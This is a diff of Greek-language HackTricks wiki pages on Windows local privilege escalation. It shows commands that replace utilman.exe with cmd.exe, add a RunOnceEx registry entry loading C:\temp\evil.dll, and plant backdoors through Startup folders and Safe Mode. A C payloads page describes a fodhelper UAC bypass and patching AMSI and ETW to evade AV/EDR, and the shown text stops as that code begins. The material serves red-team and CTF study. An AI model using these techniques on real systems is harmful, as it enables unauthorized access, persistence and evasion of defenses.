1. takeown.exe /f "%windir%\system32"
2. icalcs.exe "%windir%\system32" /grant "%username%":F
3. Μετονομάστε το cmd.exe σε utilman.exe
4. Κλειδώστε την κονσόλα και πατήστε Win+U

|

Η επίθεση μπορεί να ανιχνευθεί από κάποιο λογισμικό AV.

Η εναλλακτική μέθοδος βασίζεται στην αντικατάσταση των δυαδικών αρχείων υπηρεσιών που αποθηκεύονται στο "Program Files" χρησιμοποιώντας το ίδιο προνόμιο.

| | **`SeTcb`** | _**Διαχειριστής**_ | 3rd party tool |

Manipulate tokens to have local admin rights included. May require SeImpersonate.

To be verified.

| | -## Reference +## Αναφορά -- Take a look to this table defining Windows tokens: [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin) -- Take a look to [**this paper**](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt) about privesc with tokens. +- Ρίξτε μια ματιά σε αυτόν τον πίνακα που ορίζει τα Windows tokens: [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin) +- Ρίξτε μια ματιά σε [**αυτήν την εργασία**](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt) σχετικά με την εκμετάλλευση με tokens. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md index 9d75c8a39..6a3e63060 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md +++ b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md @@ -1,4 +1,4 @@ -# Ανύψωση Δικαιωμάτων με Autoruns +# Privilege Escalation with Autoruns {{#include ../../banners/hacktricks-training.md}} @@ -41,12 +41,10 @@ Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup" ../../generic-hacking/archive-extraction-path-traversal.md {{#endref}} - - ## Registry > [!TIP] -> [Σημείωση από εδώ](https://answers.microsoft.com/en-us/windows/forum/all/delete-registry-key/d425ae37-9dcc-4867-b49c-723dcd15147f): Η καταχώρηση μητρώου **Wow6432Node** υποδεικνύει ότι εκτελείτε μια έκδοση Windows 64-bit. Το λειτουργικό σύστημα χρησιμοποιεί αυτό το κλειδί για να εμφανίσει μια ξεχωριστή προβολή του HKEY_LOCAL_MACHINE\SOFTWARE για εφαρμογές 32-bit που εκτελούνται σε εκδόσεις Windows 64-bit. +> [Σημείωση από εδώ](https://answers.microsoft.com/en-us/windows/forum/all/delete-registry-key/d425ae37-9dcc-4867-b49c-723dcd15147f): Η καταχώρηση μητρώου **Wow6432Node** υποδεικνύει ότι εκτελείτε μια 64-bit έκδοση των Windows. Το λειτουργικό σύστημα χρησιμοποιεί αυτό το κλειδί για να εμφανίσει μια ξεχωριστή προβολή του HKEY_LOCAL_MACHINE\SOFTWARE για εφαρμογές 32-bit που εκτελούνται σε 64-bit εκδόσεις των Windows. ### Runs @@ -82,7 +80,7 @@ Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup" - `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx` - `HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceEx` -Στα Windows Vista και σε μεταγενέστερες εκδόσεις, τα κλειδιά μητρώου **Run** και **RunOnce** δεν δημιουργούνται αυτόματα. Οι καταχωρήσεις σε αυτά τα κλειδιά μπορούν είτε να ξεκινούν απευθείας προγράμματα είτε να τα καθορίζουν ως εξαρτήσεις. Για παράδειγμα, για να φορτώσετε ένα αρχείο DLL κατά την σύνδεση, μπορείτε να χρησιμοποιήσετε το κλειδί μητρώου **RunOnceEx** μαζί με ένα κλειδί "Depend". Αυτό αποδεικνύεται προσθέτοντας μια καταχώρηση μητρώου για να εκτελέσετε το "C:\temp\evil.dll" κατά την εκκίνηση του συστήματος: +Στα Windows Vista και σε μεταγενέστερες εκδόσεις, τα κλειδιά μητρώου **Run** και **RunOnce** δεν δημιουργούνται αυτόματα. Οι καταχωρήσεις σε αυτά τα κλειδιά μπορούν είτε να ξεκινούν απευθείας προγράμματα είτε να τα καθορίζουν ως εξαρτήσεις. Για παράδειγμα, για να φορτώσετε ένα αρχείο DLL κατά την είσοδο, μπορείτε να χρησιμοποιήσετε το κλειδί μητρώου **RunOnceEx** μαζί με ένα κλειδί "Depend". Αυτό αποδεικνύεται προσθέτοντας μια καταχώρηση μητρώου για να εκτελέσετε το "C:\temp\evil.dll" κατά την εκκίνηση του συστήματος: ``` reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d "C:\\temp\\evil.dll" ``` @@ -153,7 +151,7 @@ Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\Ru - `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders` - `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders` -Οι συντομεύσεις που τοποθετούνται στον φάκελο **Startup** θα ενεργοποιούν αυτόματα υπηρεσίες ή εφαρμογές κατά τη διάρκεια της σύνδεσης του χρήστη ή της επανεκκίνησης του συστήματος. Η τοποθεσία του φακέλου **Startup** ορίζεται στο μητρώο για τους τομείς **Local Machine** και **Current User**. Αυτό σημαίνει ότι οποιαδήποτε συντόμευση προστεθεί σε αυτές τις καθορισμένες τοποθεσίες **Startup** θα διασφαλίσει ότι η συνδεδεμένη υπηρεσία ή πρόγραμμα θα ξεκινήσει μετά τη διαδικασία σύνδεσης ή επανεκκίνησης, καθιστώντας το μια απλή μέθοδο για τον προγραμματισμό προγραμμάτων να εκτελούνται αυτόματα. +Οι συντομεύσεις που τοποθετούνται στον φάκελο **Startup** θα ενεργοποιούν αυτόματα υπηρεσίες ή εφαρμογές κατά τη διάρκεια της σύνδεσης του χρήστη ή της επανεκκίνησης του συστήματος. Η τοποθεσία του φακέλου **Startup** ορίζεται στο μητρώο για τους τομείς **Local Machine** και **Current User**. Αυτό σημαίνει ότι οποιαδήποτε συντόμευση προστεθεί σε αυτές τις καθορισμένες τοποθεσίες **Startup** θα διασφαλίσει ότι η συνδεδεμένη υπηρεσία ή πρόγραμμα θα ξεκινήσει μετά τη διαδικασία σύνδεσης ή επανεκκίνησης, καθιστώντας το μια απλή μέθοδο για τον προγραμματισμό εκτέλεσης προγραμμάτων αυτόματα. > [!TIP] > Αν μπορείτε να αντικαταστήσετε οποιοδήποτε \[User] Shell Folder κάτω από **HKLM**, θα μπορείτε να το κατευθύνετε σε έναν φάκελο που ελέγχετε και να τοποθετήσετε μια backdoor που θα εκτελείται κάθε φορά που ένας χρήστης συνδέεται στο σύστημα, κλιμακώνοντας τα δικαιώματα. @@ -208,7 +206,7 @@ Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion 4. Αποθηκεύστε τις αλλαγές στο `boot.ini`. 5. Επαναφέρετε τα αρχικά χαρακτηριστικά του αρχείου: `attrib c:\boot.ini +r +s +h` -- **Εκμετάλλευση 1:** Η αλλαγή της κλειδί μητρώου **AlternateShell** επιτρέπει τη ρύθμιση προσαρμοσμένης γραμμής εντολών, ενδεχομένως για μη εξουσιοδοτημένη πρόσβαση. +- **Εκμετάλλευση 1:** Η αλλαγή της κλειδώματος μητρώου **AlternateShell** επιτρέπει τη ρύθμιση προσαρμοσμένης γραμμής εντολών, ενδεχομένως για μη εξουσιοδοτημένη πρόσβαση. - **Εκμετάλλευση 2 (Δικαιώματα Εγγραφής PATH):** Η ύπαρξη δικαιωμάτων εγγραφής σε οποιοδήποτε μέρος της μεταβλητής συστήματος **PATH**, ειδικά πριν από το `C:\Windows\system32`, σας επιτρέπει να εκτελέσετε ένα προσαρμοσμένο `cmd.exe`, το οποίο θα μπορούσε να είναι μια πίσω πόρτα αν το σύστημα ξεκινήσει σε Ασφαλή Λειτουργία. - **Εκμετάλλευση 3 (Δικαιώματα Εγγραφής PATH και boot.ini):** Η πρόσβαση εγγραφής στο `boot.ini` επιτρέπει την αυτόματη εκκίνηση σε Ασφαλή Λειτουργία, διευκολύνοντας τη μη εξουσιοδοτημένη πρόσβαση κατά την επόμενη επανεκκίνηση. @@ -228,10 +226,10 @@ Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Co - `HKCU\SOFTWARE\Microsoft\Active Setup\Installed Components` - `HKCU\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components` -Μέσα σε αυτά τα κλειδιά, υπάρχουν διάφορα υποκλειδιά, το καθένα από τα οποία αντιστοιχεί σε ένα συγκεκριμένο συστατικό. Οι τιμές κλειδιών που είναι ιδιαίτερα ενδιαφέρουσες περιλαμβάνουν: +Μέσα σε αυτά τα κλειδιά, υπάρχουν διάφορα υποκλειδιά, το καθένα από τα οποία αντιστοιχεί σε ένα συγκεκριμένο συστατικό. Οι τιμές κλειδιών που έχουν ιδιαίτερο ενδιαφέρον περιλαμβάνουν: - **IsInstalled:** -- `0` υποδεικνύει ότι η εντολή του συστατικού δεν θα εκτελεστεί. +- `0` υποδηλώνει ότι η εντολή του συστατικού δεν θα εκτελεστεί. - `1` σημαίνει ότι η εντολή θα εκτελεστεί μία φορά για κάθε χρήστη, που είναι η προεπιλεγμένη συμπεριφορά αν η τιμή `IsInstalled` λείπει. - **StubPath:** Ορίζει την εντολή που θα εκτελείται από το Active Setup. Μπορεί να είναι οποιαδήποτε έγκυρη γραμμή εντολών, όπως η εκκίνηση του `notepad`. @@ -251,18 +249,18 @@ reg query "HKCU\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components ### Overview of Browser Helper Objects (BHOs) -Τα Browser Helper Objects (BHOs) είναι DLL modules που προσθέτουν επιπλέον δυνατότητες στον Internet Explorer της Microsoft. Φορτώνονται στον Internet Explorer και τον Windows Explorer σε κάθε εκκίνηση. Ωστόσο, η εκτέλεσή τους μπορεί να αποκλειστεί ρυθμίζοντας το κλειδί **NoExplorer** σε 1, αποτρέποντάς τα από το να φορτωθούν με τις περιπτώσεις του Windows Explorer. +Τα Browser Helper Objects (BHOs) είναι DLL modules που προσθέτουν επιπλέον δυνατότητες στον Internet Explorer της Microsoft. Φορτώνονται στον Internet Explorer και τον Windows Explorer σε κάθε εκκίνηση. Ωστόσο, η εκτέλεσή τους μπορεί να αποκλειστεί ρυθμίζοντας το **NoExplorer** key σε 1, αποτρέποντάς τα από το να φορτωθούν με τις περιπτώσεις του Windows Explorer. -Τα BHOs είναι συμβατά με τα Windows 10 μέσω του Internet Explorer 11 αλλά δεν υποστηρίζονται στο Microsoft Edge, τον προεπιλεγμένο περιηγητή σε νεότερες εκδόσεις των Windows. +Τα BHOs είναι συμβατά με τα Windows 10 μέσω του Internet Explorer 11 αλλά δεν υποστηρίζονται στον Microsoft Edge, τον προεπιλεγμένο περιηγητή σε νεότερες εκδόσεις των Windows. -Για να εξερευνήσετε τα BHOs που είναι καταχωρημένα σε ένα σύστημα, μπορείτε να ελέγξετε τα παρακάτω κλειδιά μητρώου: +Για να εξερευνήσετε τα BHOs που είναι καταχωρημένα σε ένα σύστημα, μπορείτε να ελέγξετε τα εξής κλειδιά μητρώου: - `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects` - `HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects` Κάθε BHO εκπροσωπείται από το **CLSID** του στο μητρώο, που λειτουργεί ως μοναδικός αναγνωριστικός αριθμός. Λεπτομερείς πληροφορίες σχετικά με κάθε CLSID μπορούν να βρεθούν κάτω από `HKLM\SOFTWARE\Classes\CLSID\{}`. -Για την αναζήτηση BHOs στο μητρώο, μπορούν να χρησιμοποιηθούν οι παρακάτω εντολές: +Για την αναζήτηση BHOs στο μητρώο, μπορούν να χρησιμοποιηθούν οι εξής εντολές: ```bash reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects" /s reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects" /s @@ -301,13 +299,13 @@ HKLM\Software\Microsoft\Wow6432Node\Windows NT\CurrentVersion\Image File Executi ``` ## SysInternals -Σημειώστε ότι όλοι οι ιστότοποι όπου μπορείτε να βρείτε autoruns έχουν **ήδη ερευνηθεί από**[ **winpeas.exe**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe). Ωστόσο, για μια **πιο ολοκληρωμένη λίστα με αυτόματα εκτελούμενα** αρχεία μπορείτε να χρησιμοποιήσετε [autoruns ](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns)από τα sysinternals: +Σημειώστε ότι όλοι οι ιστότοποι όπου μπορείτε να βρείτε autoruns έχουν **ήδη ερευνηθεί από**[ **winpeas.exe**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe). Ωστόσο, για μια **πιο ολοκληρωμένη λίστα με αυτόματα εκτελούμενα** αρχεία μπορείτε να χρησιμοποιήσετε [autoruns ](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns)από τα systinternals: ``` autorunsc.exe -m -nobanner -a * -ct /accepteula ``` ## Περισσότερα -**Βρείτε περισσότερα Autoruns όπως οι καταχωρήσεις σε** [**https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2**](https://www.microsoftpressstore.com/articles/article.aspx?p=2762082&seqNum=2) +**Βρείτε περισσότερα Autoruns όπως οι καταχωρήσεις στο** [**https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2**](https://www.microsoftpressstore.com/articles/article.aspx?p=2762082&seqNum=2) ## Αναφορές diff --git a/src/windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md b/src/windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md index 145abd14b..3979a7928 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md +++ b/src/windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md @@ -2,9 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -Αυτή η σελίδα συγκεντρώνει **μικρές, αυτοτελείς αποσπασματικές C** που είναι χρήσιμες κατά τη διάρκεια της Τοπικής Κλιμάκωσης Δικαιωμάτων στα Windows ή μετά από εκμετάλλευση. Κάθε payload έχει σχεδιαστεί για να είναι **φιλικό προς την αντιγραφή και επικόλληση**, απαιτεί μόνο το Windows API / C runtime και μπορεί να μεταγλωττιστεί με `i686-w64-mingw32-gcc` (x86) ή `x86_64-w64-mingw32-gcc` (x64). +Αυτή η σελίδα συγκεντρώνει **μικρές, αυτοτελείς C αποσπάσματα** που είναι χρήσιμα κατά τη διάρκεια της Windows Local Privilege Escalation ή μετά την εκμετάλλευση. Κάθε payload έχει σχεδιαστεί για να είναι **φιλικό προς την αντιγραφή και επικόλληση**, απαιτεί μόνο το Windows API / C runtime και μπορεί να μεταγλωττιστεί με `i686-w64-mingw32-gcc` (x86) ή `x86_64-w64-mingw32-gcc` (x64). -> ⚠️ Αυτά τα payloads υποθέτουν ότι η διαδικασία έχει ήδη τα ελάχιστα δικαιώματα που απαιτούνται για να εκτελέσει την ενέργεια (π.χ. `SeDebugPrivilege`, `SeImpersonatePrivilege`, ή μέσος-ακεραιότητας πλαίσιο για μια παράκαμψη UAC). Είναι προορισμένα για **ρυθμίσεις red-team ή CTF** όπου η εκμετάλλευση μιας ευπάθειας έχει οδηγήσει σε αυθαίρετη εκτέλεση εγγενών κωδίκων. +> ⚠️ Αυτά τα payloads υποθέτουν ότι η διαδικασία έχει ήδη τα ελάχιστα δικαιώματα που απαιτούνται για να εκτελέσει την ενέργεια (π.χ. `SeDebugPrivilege`, `SeImpersonatePrivilege`, ή μέσος-ακεραιότητας πλαίσιο για μια παράκαμψη UAC). Είναι προορισμένα για **κόκκινες ομάδες ή ρυθμίσεις CTF** όπου η εκμετάλλευση μιας ευπάθειας έχει οδηγήσει σε αυθαίρετη εκτέλεση εγγενών κωδίκων. --- @@ -61,7 +61,7 @@ system("fodhelper.exe"); return 0; } ``` -*Δοκιμάστηκε σε Windows 10 22H2 και Windows 11 23H2 (patches Ιουλίου 2025). Η παράκαμψη εξακολουθεί να λειτουργεί επειδή η Microsoft δεν έχει διορθώσει τον ελλιπή έλεγχο ακεραιότητας στο μονοπάτι `DelegateExecute`.* +*Δοκιμάστηκε σε Windows 10 22H2 και Windows 11 23H2 (patches Ιουλίου 2025). Η παράκαμψη εξακολουθεί να λειτουργεί επειδή η Microsoft δεν έχει διορθώσει τον ελλείποντα έλεγχο ακεραιότητας στη διαδρομή `DelegateExecute`.* --- @@ -115,6 +115,7 @@ return 0; } ``` Για μια πιο βαθιά εξήγηση του πώς λειτουργεί αυτό, δείτε: + {{#ref}} sedebug-+-seimpersonate-copy-token.md {{#endref}} @@ -122,7 +123,7 @@ sedebug-+-seimpersonate-copy-token.md --- ## Patch AMSI & ETW στη Μνήμη (Αποφυγή Άμυνας) -Οι περισσότερες σύγχρονες μηχανές AV/EDR βασίζονται στο **AMSI** και το **ETW** για να ελέγχουν κακόβουλες συμπεριφορές. Η διόρθωση και των δύο διεπαφών νωρίς μέσα στη τρέχουσα διαδικασία αποτρέπει την σάρωση payloads που βασίζονται σε σενάρια (π.χ. PowerShell, JScript). +Οι περισσότερες σύγχρονες μηχανές AV/EDR βασίζονται στο **AMSI** και το **ETW** για να ελέγχουν κακόβουλες συμπεριφορές. Η διόρθωση και των δύο διεπαφών νωρίς μέσα στη τρέχουσα διαδικασία αποτρέπει την σάρωση των payloads που βασίζονται σε σενάρια (π.χ. PowerShell, JScript). ```c // gcc -o patch_amsi.exe patch_amsi.c -lntdll #define _CRT_SECURE_NO_WARNINGS